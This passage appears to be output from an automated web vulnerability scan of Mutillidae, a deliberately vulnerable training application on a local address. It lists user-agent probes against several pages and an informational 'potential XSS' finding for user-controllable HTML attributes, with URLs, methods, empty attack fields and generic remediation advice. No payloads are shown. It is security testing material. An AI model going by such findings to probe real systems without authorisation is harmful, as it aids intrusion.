Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=source-viewer.php

Method	POST
Attack	Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=source-viewer.php
Method	POST
Attack	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3739.0 Safari/537.36 Edg/75.0.109.0
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=source-viewer.php
Method	POST
Attack	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=source-viewer.php
Method	POST
Attack	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/91.0
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=source-viewer.php
Method	POST
Attack	Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=source-viewer.php
Method	POST
Attack	Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=source-viewer.php
Method	POST
Attack	Mozilla/5.0 (iPhone; CPU iPhone OS 8_0_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12A366 Safari/600.1.4
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=source-viewer.php
Method	POST
Attack	Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=source-viewer.php
Method	POST
Attack	msnbot/1.1 (+http://search.msn.com/msnbot.htm)
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=text-file-viewer.php
Method	POST
Attack	Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Evidence	

URL	http://192.168.0.9/mutillidae/index.php?page=text-file-viewer.php
Method	POST
Attack	Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=text-file-viewer.php
Method	POST
Attack	Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=text-file-viewer.php
Method	POST
Attack	Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=text-file-viewer.php
Method	POST
Attack	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3739.0 Safari/537.36 Edg/75.0.109.0
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=text-file-viewer.php
Method	POST
Attack	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=text-file-viewer.php
Method	POST
Attack	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/91.0
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=text-file-viewer.php
Method	POST
Attack	Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=text-file-viewer.php
Method	POST
Attack	Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=text-file-viewer.php
Method	POST
Attack	Mozilla/5.0 (iPhone; CPU iPhone OS 8_0_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12A366 Safari/600.1.4
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=text-file-viewer.php
Method	POST
Attack	Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16

Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=text-file-viewer.php
Method	POST
Attack	msnbot/1.1 (+http://search.msn.com/msnbot.htm)
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=view-someones-blog.php
Method	POST
Attack	Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=view-someones-blog.php
Method	POST
Attack	Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=view-someones-blog.php
Method	POST
Attack	Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=view-someones-blog.php
Method	POST
Attack	Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=view-someones-blog.php
Method	POST
Attack	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3739.0 Safari/537.36 Edg/75.0.109.0
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=view-someones-blog.php
Method	POST
Attack	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=view-someones-blog.php
Method	POST
Attack	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/91.0
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=view-someones-blog.php
Method	POST
Attack	Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=view-someones-blog.php
Method	POST
Attack	Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)

Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=view-someones-blog.php
Method	POST
Attack	Mozilla/5.0 (iPhone; CPU iPhone OS 8_0_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12A366 Safari/600.1.4
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=view-someones-blog.php
Method	POST
Attack	Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=view-someones-blog.php
Method	POST
Attack	msnbot/1.1 (+http://search.msn.com/msnbot.htm)
Evidence	
Instances	300
Solution	
Reference	https://owasp.org/wstg
CWE Id	
WASC Id	
Plugin Id	10104

Informational	**User Controllable HTML Element Attribute (Potential XSS)**
Description	This check looks at user-supplied input in query string parameters and POST data to identify where certain HTML attribute values might be controlled. This provides hot-spot detection for XSS (cross-site scripting) that will require further review by a security analyst to determine exploitability.
URL	http://192.168.0.9/mutillidae/?page=source-viewer.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/?page=user-info.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?choice=nmap&initials=ZAP&page=user-poll.php&user-poll-php-submit-button=Submit+Vote
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?choice=nmap&initials=ZAP&page=user-poll.php&user-poll-php-submit-button=Submit+Vote
Method	GET
Attack	
Evidence	

URL	http://192.168.0.9/mutillidae/index.php?choice=nmap&initials=ZAP&page=user-poll.php&user-poll-php-submit-button=Submit+Vote
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?forwardurl=http://pauldotcom.com/&page=redirectandlog.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?forwardurl=http://www.irongeek.com/&page=redirectandlog.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?forwardurl=http://www.irongeek.com/&page=redirectandlog.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?forwardurl=http://www.irongeek.com/&page=redirectandlog.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?forwardurl=http://www.owasp.org&page=redirectandlog.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?forwardurl=http://www.owasp.org&page=redirectandlog.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?forwardurl=http://www.owasp.org&page=redirectandlog.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?forwardurl=http://www.owasp.org&page=redirectandlog.php
Method	GET
Attack	
Evidence	

URL	http://192.168.0.9/mutillidae/index.php?forwardurl=http://www.owasp.org&page=redirectandlog.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?forwardurl=http://www.owasp.org&page=redirectandlog.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?forwardurl=http://www.owasp.org&page=redirectandlog.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?forwardurl=http://www.owasp.org&page=redirectandlog.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?forwardurl=http://www.owasp.org&page=redirectandlog.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?forwardurl=http://www.owasp.org&page=redirectandlog.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?forwardurl=http://www.owasp.org&page=redirectandlog.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?forwardurl=http://www.owasp.org&page=redirectandlog.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?forwardurl=http://www.owasp.org/index.php/Louisville&page=redirectandlog.php
Method	GET
Attack	
Evidence	

URL	http://192.168.0.9/mutillidae/index.php?forwardurl=http://www.pocodoy.com/blog/&page=redirectandlog.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?forwardurl=http://www.room362.com/&page=redirectandlog.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?forwardurl=https://addons.mozilla.org/en-US/firefox/collections/jdruin/pr/&page=redirectandlog.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=source-viewer.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=source-viewer.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=user-info.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=user-info.php&password=ZAP&user-info-php-submit-button=View+Account+Details&username=ZAP
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=user-info.php&password=ZAP&user-info-php-submit-button=View+Account+Details&username=ZAP
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=user-poll.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=add-to-your-blog.php
Method	POST

Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=dns-lookup.php
Method	POST
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=html5-storage.php
Method	POST
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=html5-storage.php
Method	POST
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=html5-storage.php
Method	POST
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=html5-storage.php
Method	POST
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=login.php
Method	POST
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=login.php
Method	POST
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=register.php
Method	POST
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=set-background-color.php
Method	POST
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=source-viewer.php
Method	POST
Attack	

Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=source-viewer.php
Method	POST
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=source-viewer.php
Method	POST
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=source-viewer.php
Method	POST
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=text-file-viewer.php
Method	POST
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=text-file-viewer.php
Method	POST
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=text-file-viewer.php
Method	POST
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=view-someones-blog.php
Method	POST
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=view-someones-blog.php
Method	POST
Attack	
Evidence	
Instances	50
Solution	Validate all input and sanitize output it before writing to any HTML attributes.
Reference	http://websecuritytool.codeplex.com/wikipage?title=Checks#user-controlled-html-attribute
CWE Id	20
WASC Id	20
Plugin Id	10031